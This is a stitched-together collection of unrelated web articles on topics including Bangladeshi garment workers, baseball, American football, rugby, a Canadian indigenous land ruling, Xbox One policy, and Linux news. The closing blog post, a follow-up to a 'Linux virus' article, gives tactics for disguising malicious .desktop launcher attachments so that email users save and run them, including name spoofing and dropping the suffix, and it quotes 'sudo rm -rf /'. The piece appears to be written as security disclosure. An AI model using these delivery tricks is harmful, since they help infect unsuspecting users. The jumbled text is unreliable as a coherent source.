working conditions. For days on end, these workers closed down three hundred factories, blocking the Dhaka-Tangali highway at Narasinghapur. The workers earn between 3000 taka ($35) and 5,500 taka ($70) a month; they wanted a raise of between 1500 taka ($19) and 2000 taka ($25) per month. The government sent in three thousand policemen to secure the scene, and the Prime Minister offered anodyne entreaties that she would look into the matter. A three-member committee was set up, but nothing substantial came of it. Aware of the futility of negotiations with a government subordinated to the logic of the commodity chain, Dhaka exploded in violence as more and more news from the Rana Building emerged. Workers have shut down the factory area around Dhaka, blocking roads and smashing cars. The callousness of the Bangladesh Garment Manufacturers Association (BGMEA) adds fire to the workers’ anger. After the protests in June, BGMEA head Shafiul Islam Mohiuddin accused the workers of being involved in “some conspiracy.” He argued that there is “no logic for increasing the wages of the workers.” This time, BGMEA’s new president Atiqul Islam suggested that the problem was not the death of the workers or the poor conditions in which workers toil but “the disruption in production owing to unrest and hartals [strikes].” These strikes, he said, are “just another heavy blow to the garment sector.” No wonder those who took to the streets have so little faith in the sub-contractors and the government. Attempts to shift the needle of exploitation have been thwarted by concerted government pressure and the advantages of assassination. Whatever decent lurks in Bangladesh’s Labour Act is eclipsed by weak enforcement by the Ministry of Labour’s Inspections Department. There are only eighteen inspectors and assistant inspectors to monitor 100,000 factories in the Dhaka area, where most of the garment factories are located. If an infraction is detected, the fines are too low to generate any reforms. When workers try to form unions, the harsh response from the management is sufficient to curtail their efforts. Management prefers the anarchic outbreaks of violence to the steady consolidation of worker power. In fact, the violence led the Bangladeshi government to create a Crisis Management Cell and an Industrial Police not to monitor violations of labour laws, but to spy on worker organisers. In April 2012, agents of capital kidnapped Aminul Islam, one of the key organisers of the Bangladesh Center for Worker Solidarity. He was found dead a few days later, his body littered with the marks of torture. Bangladesh has been convulsed this past months with protests over its history – the terrible violence visited among the freedom fighters in 1971 by the Jamaat-e-Islami brought thousands of people into Shanbagh in Dhaka; this protest morphed into the political civil war between the two mainstream parties, setting aside the calls for justice for victims of that violence. This protest has inflamed the country, which has been otherwise quite sanguine about the everyday terror against its garment sector workers. The Rana building “accident” might provide a progressive hinge for a protest movement that is otherwise adrift. In the Atlantic world, meanwhile, self-absorption over the wars on terror and on the downturn in the economy prevent any genuine introspection over the mode of life that relies upon debt-fueled consumerism at the expense of workers in Dhaka. Those who died in the Rana building are victims not only of the malfeasance of the sub-contractors, but also of twenty-first century globalisation. Vijay Prashad’s new book, The Poorer Nations: A Possible History of the Global South, is out this month from Verso Books.
KMO and Olga continue the conversation with Jay Smith and . This week the topic moves from race in the Peak Oil narrative to the prospects for atheistic rational materialism in a post-petroleum milieu. The same fossil fuel windfall that has allowed industry to replace the work of human and animal muscles with machines and thus allowed for the emancipation of millions of people from forced labor has also allowed a flowering of scientific rationalism and an atheistic worldview. Might some of the moral progress of recent centuries prove ephemeral in the wake of Peak Oil? The consolation of religion appeals to humans in times of uncertainty and hardship. So what are the prospects for science and atheism in the context of the industrial collapse and population contraction?
The rest of us don't get to see much .750 baseball, unless some team starts the season 3-1. In the modern era, only one club has finished the season with a winning percentage higher than .750. Irony alert: That was the 1906 Chicago Cubs. ST. LOUIS -- After one month of the season, the St. Louis Cardinals are playing .750 baseball. The rest of us don't get to see much .750 baseball, unless some team starts the season 3-1. In the modern era, only one club has finished the season with a winning percentage higher than .750. Irony alert: That was the 1906 Chicago Cubs. View Full Game Coverage But there is no point in getting ahead of ourselves, especially when the Redbirds are so adept at staying in the moment. With a 5-1 victory over the Cubs on Thursday at Busch Stadium, the Cardinals improved to 21-7. The Cards are 8-0-1 in series, the tie coming with a two-game split to open the season, against the Cubs. So their excellence has been sustained. As a bonus, 21 of these games have been against National League Central opponents. The second-place club at this point is the Cubs, who are 6 1/2 games behind the Cardinals. There are no prizes for having a glorious record in early May. The Cards have a firm grasp of this concept. They are much more likely to feel good about "the process" than they are about the record. If you're going about the process the right way, then your future should include continued success. Video: CHC@STL: Matheny on successful homestand, win "Those numbers, they don't mean anything; they really don't," St. Louis manager Mike Matheny said of the record. "I mean, obviously, wins create this atmosphere. "They're coming through as a tough team, and I don't know how they could be any tougher. They're out there competing and doing the things we believe in. It comes down to wins and losses; we're all honest about that. But I think, outside the record, there are things you can see, that are maybe indicative of what you'll see down the long haul. So I really like what I'm seeing so far." So for the skipper of a 21-7 team, the way his team goes about its daily business, its mental and physical preparation, becomes even more impressive than the record. "No question," Matheny said to that notion. "It's just the process. The day-in, day-out. Don't get too high, don't get too low. But it's hard not to get on a high right now when you're watching how we're competing. But once again, we have great veteran leadership. There are guys saying, 'OK, let's enjoy this one for about 30 minutes and then start thinking about the next one.' But I keep coming back to, 'Don't forget. Don't forget what we just did, how we came through this.' "And then there is someone different stepping up all the time. That's so powerful for us. That's exactly how you want it to be." On Thursday, in the final game of a homestand in which they went 9-2, the Cardinals got a terrific start from John Lackey: 7 2/3 innings, one run, five hits, one walk, 10 strikeouts. Video: CHC@STL: Lackey K's No. 10, exits to standing ovation The Cards' pitching has been nothing short of outstanding overall. The team ERA leads the Majors at a remarkable 2.53. Maybe that isn't completely sustainable over 162 games, but it sends a strong signal about the quality this pitching staff has, even with ace Adam Wainwright out for the season. Lackey was being offered numerous congratulations regarding his outing and the team's success. But being perfectly in step with the prevailing Cardinals approach, he wasn't actually accepting the congratulations. "It's still pretty early," Lackey said. "We've got a lot of pros in this room. You've just got to keep your head down and keep working. You can't get too far ahead of yourself; you have to keep doing the daily grind." How do the Cards look from the other dugout? Like a baseball team, a very good baseball team. "They're baseball players," Cubs manager Joe Maddon said. "They're baseball players. There are some guys who are outstanding maybe one-tool, or two-tool players, but for the most part, they do come from the liberal arts school of baseball. They do play the whole game. "And I see a team, rather than a whole group of individuals. I gather that from the two nights they beat us playing a good team game. They come back. They believe that they can do it. Bully for them. So that's the thing that stands out for me is the team concept there." That is what the Cardinals see in themselves, as well. OK, they need to find Wainwright's replacement in the rotation, but viable options are within sight. And the bullpen was used heavily in recent days. That can happen when you play 35 innings over three games. But it's less draining when you win all three games. You can look at the Redbirds after 28 games and say: "Small sample size." But you can look at the same Cards and say: "This could be an extraordinarily good team." So far, that is exactly what they have been.
Playing in Gus Malzahn’s spread offense at Auburn, Uzomah was not a conventional tight end. But at 6’5”, 264 pounds with 4.6 speed in the 40-yard dash, the 22-year-old from Georgia has the prototypical size and speed to play the position in the NFL. “We think his strength is his versatility,” said tight ends coach Jonathan Hayes. “He can run, he can get downfield and stretch the seam. Those are the things that you’re looking for at this position now and possibly creating mismatches with his body size, his catch radius, and just continuing to get him to grow into the position.” After electing not to re-sign Jermaine Gresham as a free agent, the Bengals selected two tight ends in this year’s draft – Uzomah and third-round pick Tyler Kroft. Both rookies flashed NFL potential in OTAs and the team’s mandatory minicamp. “I think having a great coach like Coach Hayes and veteran guys like (Tyler) Eifert and Hewitt in front of us definitely helps the younger guys come along a heck of a lot quicker,” said Uzomah. “I’m roommates with Tyler Kroft and we’re in our playbooks like no other when we get back from practice. Obviously there are going to be occasional busts and looks that we’re not familiar with, but for the most part we try to make sure that we go in there and know what our assignment is so that we can play fast.” “The point that I make to the coaches all the time is that we want to continually bring in people who are mentally and physically tough, have physical traits and upside, and are smart enough,” said head coach Marvin Lewis. “Those things have to all fit together. Sometimes smarts need to be measured a little differently. It needs to be measured on the football side of it too – it can’t be book-smart, it has to be football-smart. That’s very, very important.” My broadcast partner Dave Lapham says that he was impressed by Uzomah’s rapid improvement this spring – particularly how the rookie tight end consistently put himself in position to make blocks. But that was without pads. Now C.J. will have to prove he can finish blocks in training camp. “I’m really anxious to show the coaches what I’ve got,” said Uzomah. “They took a chance on me not being a traditional tight end. They said, ‘You’re going to have to prove yourself as a blocker and prove that you’re physical enough to do this.’ I’m getting chills right now just thinking about proving to them that the interest and the investment that they’ve given to me is going to be worth it.” I’d love to hear from you at Dan.Hoard@Bengals.nfl.net If you’re on Twitter, you can follow my tweets at http://twitter.com/Dan_Hoard
At a whopping 2.13m Dean Williams may just be the world's tallest rugby player. At an impressive 2.13 metres (7 foot in the old money), Dean Williams could be the largest man in rugby – anywhere. And the ex-pat Brit is putting his considerable size to good use as a premiere-grade lock with the west Auckland-based Suburbs RFC. Coach Charlie McAlister reckons the 27-year-old construction manager who arrived Down Under only last year is showing a lot of promise. Jason Dorday Dean Williams is used to having to duck through doorways. "He's a superb young man, I'm hoping that Auckland will pick him up for the ITM Cup." And how could they not, the size 15-shoed second rower skittles those unlucky or courageous enough to try and tackle him. His advice to lilliputian centres and first-fives attempting to tackle him: "don't". DAVID JOSEPH / PHOTOTEK.NZ Dean Williams' advice to would be tacklers? "Don't". Williams – who had semi-pro English sides "sniffing around" back home – reckons his rugby career could take off right here in New Zealand and he intends to push as much as he can. He is pretty impressed to find out he's probably the world's tallest rugby player. All Blacks tall timber Brodie Retallick measures 2.04m and Sam Whitelock is 2.03m. For the Springboks Eben Etzebeth is the tallest lock at 2.06m and for France their biggest, Yoann Maestri, measures 2.02m. At the 2015 Rugby World Cup the title for tallest went to Ireland lock Devin Toner who measured in at a whopping 2.1m. JASON DORDAY/FAIRFAX NZ Dean Williams wants to go as far as he can with rugby in New Zealand. Growing up in football-mad Manchester, Williams attended a high school known for rugby. The Mancunian, who has always been tall, is well used to being called "BFG (Big F...... Guy), Lurch and all the other tall person stuff and just tries simply to "get on with it". He used to get "unwanted attention", some people tried to "push him around". But aside from occasional hassles like aircraft seating and finding clothes that fit, Williams has embraced his tallness. And he has embraced the dietary requirements that go with it. Not a fussy eater, Williams daily puts away "five or six" full-size meals. "There's a lot of calories that goes away in the day." And like any young man away from home, he misses his mum's Sunday roast and steak and potatoes meals. Williams doesn't know where his height comes from, but his mum is close to 1.83m (6 foot) in height. His father comes in a little lower at 1.78m (5 foot 10). He weighs 132kg. * This article earlier compared Williams to All Black lock Dominic Bird. Details in this comparison were incorrect and have been removed.
Canada’s highest court has given developers the green light to build a 6,250-bed ski resort on land considered sacred by an indigenous community in British Columbia, in a landmark court case that pitted religious rights against the controversial project. The case centred around a proposal for a year-round ski resort on the site of an abandoned sawmill in south-eastern British Columbia. Plans for the Jumbo Glacier Resort include as many as 23 ski lifts, a gondola to ferry visitors into the soaring mountain peaks as well as accommodation for thousands of overnight guests. The project met with stiff resistance from the Ktunaxa Nation, whose traditional connection to the land stretches back millennia. For hundreds of generations they have revered the area, which they call Qat’muk, as home of the Grizzly Bear Spirit. The community worried that development would drive away the spirit – who figures prominently in their religious beliefs – turning their prayers and ceremonies into empty gestures. They pursued the issue in court, arguing that the destruction of their sacred site was a violation of their religious freedom. Some in the community drew parallels with manmade places of worship such as churches or temples. “I wouldn’t even get through the gates if I was to show up at the Vatican with plans for a resort,” Joe Pierre said in an interview for a 2015 documentary against the backdrop of the region’s rugged, snow-capped mountain peaks. “It’s preposterous, right?” The case was dismissed by several courts in British Columbia before arriving at the supreme court of Canada. In a decision released on Thursday, the supreme court ruled that the project could proceed on the grounds of public interest. The majority of the judges found that the community’s freedom of religion had not been breached and noted that it is not the state’s duty to protect the Grizzly Bear Spirit. “Rather, the state’s duty is to protect everyone’s freedom to hold such beliefs and to manifest them in worship and practice or by teaching and dissemination. In short, the Charter protects the freedom to worship, but does not protect the spiritual focal point of worship,” the ruling noted. While two judges agreed that the project interferes with the Ktunaxa’s religious beliefs and practices in a way that is “more than trivial or insubstantial”, the court said that if it were to side with the Ktunaxa, it would “effectively transfer the public’s control of the use of over fifty square kilometres of land to the Ktunaxa.” Doing so would enable the community to dictate the use of the land, setting a precedent that could run counter to public interest. “A religious group would therefore be able to regulate the use of a vast expanse of public land so that it conforms to its religious belief.” The developers had made efforts to accommodate the Ktunaxa’s concerns, the court added, noting that plans for a recreational area and ski lifts in areas frequented by grizzly bears were removed from the project. The Ktunaxa Nation said on Thursday that they were disappointed by the decision. “With this decision, the supreme court of Canada is telling every indigenous person in Canada that your culture, history and spirituality, all deeply linked to the land, are not worthy of legal protection from the constant threat of destruction,” said Kathryn Teneese, the Ktunaxa Nation council chair. “We’re not opposed to people experiencing that place, we’re not opposed to people going there,” she added. “And I want to make that very clear – we’re not saying it’s off limits, we’re just saying it’s off limits to development.” Those managing the project said they welcomed the decision but were not overly surprised, given the previous rulings by lower courts. “In our view it would have required a significant change of thought in order to overturn the lower court rulings,” said Tom Oberti, vice-president of the Pheidias Group. While the government of British Columbia gave its approval to the project in 2012, he was unsure of what the timeline of the project would be. “Basically we’ve been on standby and now that there’s a decision, the board of Glacier Resorts needs to take steps forward.” Canada celebrates 150 but indigenous groups say history is being 'skated over' Read more The decision comes amid Canada’s fledgling efforts to confront its historical mistreatment of the country’s indigenous population, a reality acknowledged by the country’s highest court on Thursday. “We arrive at these conclusions cognizant of the importance of protecting Indigenous religious beliefs and practices, and the place of such protection in achieving reconciliation between Indigenous peoples and non-Indigenous communities,” it noted in its ruling. Teneese of the Ktunaxa Nation said the court’s actions failed to lived up to this promise. “Reconciliation is more than words, it is actions,” she said. Lawyers for the Ktunaxa noted that the ruling made no mention of the United Nations Declaration on the Rights of Indigenous Peoples which highlights the obligation of states to protect places of spiritual importance. Canada signed on to the declaration last year. She pointed go the court’s argument that their decision was grounded in the public interest. “Are we not part of the public? Are we something so separate that our views need to be in another box? I would hope not. I would hope that’s not what this country is about.”
Being a part of video game culture can be a frustrating exercise. That culture is defined primarily by the magazines, websites, television programs and social events aimed at “gamers,” but even the term "gamer" can be exclusionary; many members of the video game audience reject the notion that people who only play video games on Facebook, smartphones, or tablets could also be gamers, because those other groups don’t primarily gorge on the Hollywood blockbuster, kinesthetic smorgasbords on Microsoft’s Xbox 360 or Sony’s PlayStation 3 video game hardware. Rather than welcome these new video game audiences on social media and smart devices, too many video game players would rather thumb their noses at people who don’t fit a long-held, narrow self-definition. Video game culture is neither friendly nor accessible to outsiders. It stodgily resists social change and thus continues to relegate gaming as an eccentric hobby within the confines of geek society. And yet the video game public can be extremely powerful when they rally around topics they have communally decided are important. This week they brought one of the most monolithic companies in the world, Microsoft, to its knees through weeks of collective outcry over anti-consumer policies. Advertisement: Microsoft unveiled its next-generation video game console, the Xbox One, on May 21. Sony, which is Microsoft’s chief competitor in the “console wars,” had unveiled its new console, the PlayStation 4, on February 20, and the video game audience and investors had anxiously awaited news of Microsoft’s new hardware since then. The Xbox One reveal was widely considered a disaster in the video game world. The new hardware smacked of classism. It was described as requiring a high-speed internet connection, which not everyone has access to, including customers in rural areas and members of the armed forces. Microsoft also failed to quell worries that buying and selling used games for the Xbox One would not be possible, or that users would have to pay a premium to activate a used Xbox One video game (this would eliminate the appreciable cost savings that make buying and selling used games attractive). Microsoft later clarified these policies to varying degrees of specificity. The Xbox One had to check in, ostensibly with Microsoft's servers, once every 24 hours or the console would turn into a brick as far as playing video games went until the console was connected to the internet again. Third-party publishers, like Electronic Arts and Activision, would have to enable the trade-in of disc-based games at participating retailers. The same third-party publishers have been fighting the used games market for years, as they receive no cut of the profits from this revenue stream, so this announcement was met by the gaming public with concern over the threat to the used games market that lurked in the fine print. Last week, at the Electronic Entertainment Expo, or E3, arguably the most important annual event in the video game industry, where major hardware manufacturers and software publishers set the consumer narrative for the rest of the year by unveiling new products, Microsoft tried to demonstrate the power of their new Xbox One by showcasing new games for the system. It was too late. They had already lost control of their marketing narrative. What the video game audience wanted was clarification of Microsoft’s policies regarding used games, and trading games among friends. And this latter topic best illustrates the insanity of what Microsoft was considering with these new policies. Imagine you lend a new DVD to a friend. Your friend returns the DVD and now you want to share it with another friend. You can't, because you are only allowed to lend that DVD to another person once. Now imagine that this policy of a single lending of physical media was standard not only for DVDs but also for CDs, magazines and books. It’s difficult to swallow that such a policy would be met with anything other than uproar, and that’s the analogy to how Microsoft was attempting to change the nature of media ownership within their industry. Each video game disc for the Xbox One could only be traded one time to one friend, and to add insult to injury, even that neutered form of sharing would not be available when the Xbox One launched in November of this year. Buying in to the world of video game consoles has never been more affordable than with the current generation of hardware, and there are arguably more reasons to do so than ever before. Small teams of independent video game developers have been creating artistically valid and emotionally compelling experiences for years, and rather than being confined mostly to personal computers, the work of these “indie” developers is finally breaking through to the mass market consoles. And mainstream developers are making better work too: games for the Xbox 360 and PlayStation 3 question America’s continued issues with race and class, celebrate human kindness and move us to tears, or make us question what enjoying violent media might say about us. The value of freely sharing video games between friends, or buying and selling used games, to allow consumers the widest sampling of all these experiences, has also never held as much value as it does today. Advertisement: All the major companies in the video game industry hold press conferences at E3. Microsoft’s press conference on June 10 was met with a tepid response, undoubtedly owing to the continued controversy over their new software policies and always-on requirements. When Sony held their press conference later that evening, they announced their support for the used games market as it currently exists -- no changes to how physical video game media could be traded among friends and no online requirements -- the full minute of audience applause sounded like a generation of video game players abandoning Microsoft and taking up Sony’s banner. Microsoft lamely attempted to defend their new policies. Pundits openly mocked the company when Don Mattrick, president of Microsoft’s Interactive Entertainment Business, dismissively suggested that consumers without internet connections should just stick with the current generation Xbox 360. Microsoft Chief Marketing and Strategy Officer Yusuf Mehdi suggested that, in the broader audience for the Xbox One outside of the dedicated video game fans, consumers “didn’t pay attention to a lot of the details.” Microsoft in essence had made the same mistake that the traditional video game audience has made. They underestimated the reach of video games in our culture. It wasn’t just a small section of the total audience paying attention. And the straw that broke the camel’s back may have been the appearance of Mark Cerny, chief hardware architect for Sony’s PlayStation 4, on Late Night with Jimmy Fallon on June 18: Fallon: "Oh, the big story that everyone's talking about, is this system is the only one where you can still play used games?" Advertisement: Cerny: "We support used games, we don't require an internet connection..." Fallon: "That's pretty major, yeah, because you can go to GameStop [the largest retailer of used games in the United States] and pick up that stuff." Surely someone at Microsoft heard the audience applause during that exchange, and put the pieces together. The dedicated video game audience that pays attention to the details was much larger than the traditional audience that flocks to E3 every year. Wednesday, in an unprecedented event, Microsoft reversed practically all the policies that the video game audience had taken umbrage with. No more online requirement. No more checking in with servers every 24 hours. No limitations on trading physical media with friends. No change to the existing used-games market. Microsoft’s attempt to murder ownership and free sharing of video game media had been foiled. Advertisement: In some ways, video game culture has bigger fish to fry than Microsoft. Lack of diversity is a major one. The enthusiast video game press and the video game development industry are still dominated by white men; women, people who identify as GLBTQ, and people of color are demanding equal representation both within video games and the development industry which creates them, with increasingly loud voices. The enthusiast press has taken heed and popular video game websites like Kotaku and Polygon are making efforts to diversity their staff, but the development industry continues to be dominated by men. If the traditional video game audience could rise up in arms over its exclusionary nature and unfriendliness to outsiders with the same passion in which they rebelled against Microsoft’s policies, imagine how wonderful video game culture could be. This is why those of us with socially progressive mores, and who believe in the power of video games, remain within the video game culture. Perhaps, someday, the video game world will realize that addressing misogyny and severely limited perspectives are just as important as the consumer policies the video game audience bared its teeth to defend.
NEW YORK — A film created with help from a former Lynyrd Skynyrd drummer violates a "blood oath" surviving band members made not to exploit the band’s name and history, a judge concluded as he blocked its distribution, siding with a surviving member of the 1970s pioneering southern rock group and the widow of its lead singer. The decision by U.S. District Judge Robert Sweet was unsealed Monday at the request of a lawyer for a Los Angeles-based independent record label that planned to distribute the film, "Street Survivors: The True Story of the Lynyrd Skynyrd Plane Crash." It was dated last Wednesday. In the 1970s, the band rode the popularity of classics like "Sweet Home Alabama" and "Free Bird" to stardom before lead singer and songwriter Ronnie Van Zant died in the October 1977 crash in Mississippi. The same year, the band released its final album: "Street Survivor." Evan Mandel, a lawyer for Cleopatra Records Inc. and Cleopatra Films, said in a Manhattan court filing that Sweet’s ruling did not disclose the "specific parameters" of relief to the plaintiffs. The judge, though, wrote that a ruling against Cleopatra would result in no profits from the film, which cost $1.2 million to produce and was finished this spring. Mandel said he would seek "immediate relief" from an appeals court. He did not immediately return an email seeking comment. The judge said the film relied, in part, on the memories of Artimus Pyle, who joined as the group’s drummer in 1975. The film focuses on Pyle, his relationship with other band members, particularly Van Zant, and events during and immediately following the plane crash. Pyle was critically injured but survived the crash, as did founding band member Gary R. Rossington. Sweet said Rossington, fellow founding band member Allen Collins, and Van Zant’s widow, now Judy Van Zant Jenness, entered a "blood oath" post-crash, agreeing no one would ever perform as Lynyrd Skynyrd again. Collins died in the early 1990s. The judge said a dispute after surviving band members decided to commemorate the 10-year anniversary of the crash with a tribute tour resulted in an agreement defining when the parties could use the band’s name, its history or the name and likeness of Van Zant. Pyle signed the agreement, writing "Under Protest" adjacent to his signature. He performed until 1991, before signing a termination agreement. In June 2016, Pyle signed a deal with Cleopatra that would pay him 5 percent of the film’s profits and give him a co-producer credit, the court ruling said. The judge said the film’s screenwriter, Jared Cohn, regularly received historical information from Pyle, who reviewed his outline and script, offering comments and revisions. The judge said Cleopatra also solicited Pyle’s views on casting and costumes and let him provide feedback on the accuracy of the portrayals by actors. After hearing publicity about the film last summer, the plaintiffs sent Cleopatra the 1988 court order in July 2016 after only about $7,000 had been spent developing the film, the judge noted.
The other day, a customer eating lunch from the Halal Guys offered his opinion on the news. Anthony Greco, 26, who works in finance, was sitting on a sun-baked granite bench near the Museum of Modern Art devouring a platter. He said he had “no doubt” the franchise would be successful. “I think it is a staple of New York, so it’s going to be different,” he said. “Me and my boys come in from Jersey, through the tunnel, on nights just to eat it.” But Mr. Greco conceded that part of the appeal was the atmosphere. “It will lose something,” he said. “You look forward to eating it on the street.” Image The popular food-cart business will move into its first brick-and-mortar shop on 14th Street, just off Second Avenue, next month. Credit Dave Sanders for The New York Times An early glimpse at what a Halal Guys franchise might look like will come next month when the first shop opens on 14th Street, just off Second Avenue. A second location is planned to open near Columbia University’s campus in the fall. Though these restaurants are technically not franchises (the Fransmart contract was signed after the company decided to expand from the carts), their design and their menus could provide the template for future locations. The 14th Street shop has a sign with the familiar Halal Guys yellow (a nod to taxi cabs). The gyro and chicken dishes from the trucks will be on the menu, as well as new healthier options and Middle Eastern desserts. In an email, Mr. Rowe said that the portions might be larger and slightly more expensive — a platter at the truck costs $6 — and that the shops will be designed for “speed like the carts.” But the food seems almost secondary to the brand’s potential. “What charges me up is we will be the first and the biggest Middle Eastern street-food concept,” Mr. Rowe said. “Everyone has heard of them,” he added. “They’ve got the street cred. It’s got everything going for it.” Mr. Rowe pursued the Halal Guys aggressively — he described the franchise as a “category killer” — eventually taking the train up from Washington for discussions. He met Mr. Hegazy at the Starbucks. Negotiations took more than a year.
, who is now just 152 days away from (as he declares so ), will be doing an impromptu show in Nashville tomorrow night, at a record store owned by Detroit rocker . The comedian and late night talk show host will perform at White's store on June 10 at 8 p.m. This afternoon : Jack White & I are doing something cool tomorrow. Hint: it involves a LOT of Tears for Fears songs. Details here: http://bit.ly/bDcImB The poster promoting it says it's a 21+ show and will be first come, first served. There is no mention of a cover charge or tickets. This isn't the first time the two entertainment stars have worked with each other. Last June, White's band the on Conan's short-lived "Tonight Show" on NBC. O'Brien will be in Tennessee performing at the on June 11 and 12, as will the Dead Weather. White, who was born and raised in Detroit, has made Nashville his permanent residence. He started his label Third Man Records in the Motor City as well, but opened the first and only storefront in his new hometown. Check out the details in the video below.
Linux-powered IoT gateways offer LTE and Wirepas Mesh SolidRun has launched a Linux-driven line of i.MX6-based “SolidSense N6 Edge Gateways” available in indoor, outdoor, and industrial models with WiFi, BT, BLE, LTE, GPS, and Wirepas Mesh support. SolidRun has introduced the first in a line of SolidSense Edge Gateways for IoT aggregation and edge computing that will be offered in indoor, outdoor and industrial form factors with a range of processor options. The currently available SolidSense N6 Edge Gateways run Linux on SolidRun’s NXP i.MX6 based computer-on-modules, which appear to be the latest versions of the same MicroSom modules that power its HummingBoard SBCs. today's leftovers OVH is bringing its OpenStack-based public cloud to Asia Pacific Open source infrastructure services will be delivered from Singapore and Sydney. Dating I recently wrote a post for the FSF on dating as a free software issue. It’s also something I talked about at SFScon back in November. I wanted to write a bit about it for my own blog, to reflect my own ideas and not just those of the FSF, as well as provide a bit of a summary from my talk. My slides from SFScon are available on Gitlab. The talk is only 15 minutes long, so I recommend checking it out if you want to listen. I wanted to have some fun when talking about software freedom. I feel like when we talk about the rights of users we have a tendency to focus on the extreme cases of freedom: dissidents, whistleblowers, and revolutionaries. We think about people whose lives literally depend on their technology. In doing so, we tend to ignore the less showy ways people’s lives depend on their technology — I talked about my own experiences of life-saving technology at SeaGL. [...] One of the things I talked about is the opacity of algorithms. Algorithms have been shown to be racist and sexist. Tinder likes to occasionally show men to lesbians. Teaching scientists how to share code The Open Science MOOC is divided into 10 core modules, from the principles of open science to becoming an open science advocate. Atypon acquires Authorea and Manuscripts and signals its plans for open science Atypon has announced today its acquisition of two authoring platforms – Authorea and Manuscripts – enabling the company to provide free HTML-first authoring and collaboration tools for researchers. Already used by over 200,000 researchers across the globe, these tools enable researchers to write, cite, collaborate, host data, and publish. "We were incredibly impressed with the teams at Authorea and Manuscripts, and how they quickly developed innovative solutions to the challenges their founders faced in their own research careers," said Atypon's Chairman, Georgios Papadopoulos. "We share a vision to help researchers be successful – to provide them with tools that simplify their communications and help with organizing so they can spend more of their time progressing science and their careers."
Commenter Burninator discovered that you don't even need the .desktop ending in the attachment. The Gnome and KDE desktops actually read the file, and don't base their decision to special-case the file on the file-name extension! So, the critical meta data here (make this something that can be executed) is NOT encoded in the filename, as some have suggested, it is actually derived by reading the first line of the file contents. So, in that respect the desktop environments are not quite as hapless as some had indicated and are not just making the same mistake as Windows has. On the flip-side of that same discovery: You can make your attachment now even less suspicious looking. Rather than naming it something like some_text.odt.desktop, you only need to name it some_text. That has two nice side effects: Firstly, email clients will now never know what to do with the file (no useful extension) and are more likely to prompt the user to save the file to disk. Thus, you don't need to get the user to explicitly do that anymore by putting proper wording in your email. The user will be more or less prompted to do that automatically by the email client. Secondly, there is now no suspicious file-name ending. If the Name line in the launcher description file still specifies something like Name=some_text.odt then Gnome at least will actually show THAT as the name of the file, rather than the actual file name on disk. However, KDE will just show some_text, which is the actual file name. KDE will only display some_text.odt after the .desktop suffix has been added. Nevertheless, even in KDE the some_text file remains 'executable' by clicking on it. So, while on KDE the user may look at a file without a proper file extension on the desktop, the name and icon can still look convincing and the email attachment didn't have a suspicious suffix. That, combined with the email client now automatically prompting for it to be saved makes this a good strategy: No .desktop suffix in the actual name of the attachment. One more thing about the naming of the file: You cannot just name the file some_text.odt, since then the filename extension (.odt in this example) takes precedence. The desktop will call OpenOffice if that's your word processor, based on the extension. Only if there is no extension (or the extension is .desktop?) will the content of the file be taken into account. Someone pointed out that the trick won't work under KDE when the attachment is not saved on the desktop: KDE only treats launcher files in a special way when they are actually on the desktop. So, if an email client saves the launcher in another location (for example a ~/Downloads directory) then this wouldn't work. Well, I can only partially confirm this! When I move the launcher into a different directory the exploit still works all the same. However, the .desktop suffix becomes visible! This is yet another reason to just drop the .desktop file-name extension altogether. The editor over at LWM.net pointed out here that the vulnerability of .desktop files was discussed back in 2006 already. I would have been surprised if I were the first person to think of this, frankly. Several commenters felt the need to point out the technical distinction between a virus, a worm and malware. They pointed out that what I described is just a worm or malware (they couldn't agree). Well, look, I have been in the security industry long enough to know about the technical distinction, about which most people don't care anymore. As I mentioned in some responses to those comments: The popular press and indiscriminating coverage of the topic has completely blurred the line. Besides, I gave code for automatically spreading of the malware in high-level pseudo code: ...it can start to pilfer through the user's address book to harvest email addresses ... [and] ... can spread itself by email. So, get over it! I don't need to spell out everything in Python code for you, right? You can read pseudo-code, right? :-) Commenter David F. Skoll suggests that rather than special-casing those launcher files, the first line should merely be something like this:#!/usr/bin/desktop-launch, with the rest of the script following afterwards. With the execute bit set this would become merely a normal script, which is interpreted by the specified separate 'shell' or utility, rather than something integrated into the desktop environment. Very *nix-ish. I like it. Many people commented on issues or possible problems with the suggested means of obtaining root privileges. I can only point out again: As the article stated, the gaining of root is NOT necessary to successfully infect a system. That's why this was in an appendix. It is not the main point of the article. A few commenters complained that I wasn't talking about anything new. That with social engineering you can get users to do even complex things like, download an executable, set execute bit and then run it. Some even say that all you need to do is send an email to a user: Please type 'sudo rm -rf /' in your terminal and that would have the same effect. My gosh, how dense are those commenters? These kinds of comments completely miss the point. The necessity of the execute bit for normal execution is a big and useful security feature of *nix OSs, such as Linux. Non-technical users probably don't know how to do that! Non-technical users also don't know how to open a terminal. Why do I have to explain this over and over? This is some of the typical, damaging arrogance of some Linux users that is at display here. So, anything that can take 'difficult' extra steps off the chain of events towards a successful infection greatly increases its chances. That's what this article was about: How to infect a user who just knows how to click with the mouse and has never heard of permissions or execute flags before. If he had, he probably wouldn't fall for this anyway. Other people are talking about how the average Linux user is more technical than the average Windows user. Look, all I can say is: Go read the article. I talk about that, you know? Don't comment on my article until you have read the whole thing, not just the summary. That's annoying and wastes everyone's time. Geez... Yesterday I published an article about How to write a Linux virus in 5 easy steps . There has been quite an overwhelming response for this. Within just a few hours this article became my most visited blog post ever. Wow! Just goes to show that either the article hit a real nerve, or the other articles on my blog are just really boring. :-)Anyway, a lot of interesting feedback arrived, some of which tthrough the comments on Reddit , some in the comment section of my article, some by email and others yet on different forums. I just want to take a moment to summarise some interesting points:So, there. That was a small follow up on the feedback and comments about my ' How to write a Linux virus in 5 easy steps '.Other related posts:
